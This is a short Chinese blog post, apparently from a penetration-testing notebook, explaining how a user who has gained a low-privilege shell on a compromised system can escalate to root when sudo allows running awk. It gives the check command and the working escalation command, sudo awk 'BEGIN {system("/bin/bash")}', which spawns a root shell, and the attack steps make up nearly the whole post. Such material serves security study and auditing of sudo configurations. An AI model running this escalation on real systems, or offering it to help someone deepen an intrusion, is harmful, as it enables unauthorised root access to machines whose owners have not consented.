sudo-awk提权法

当渗透进系统并获得一个低权限shell后

如果当前允许当前用户通过sudo执行awk命令,可以通过如下方式进行提权

 

1、测试是否可以通过sudo执行awk命令

test1@kali:/root$ sudo awk

可以看到出现了awk命令的帮助文档,说明可以通过sudo执行awk命令

 

2、开始提权

test1@kali:/root$ sudo awk 'BEGIN {system("/bin/bash")}'

发现已经成功提权

 

posted @ 2019-01-03 20:02  隐念笎  阅读(805)  评论(0编辑  收藏  举报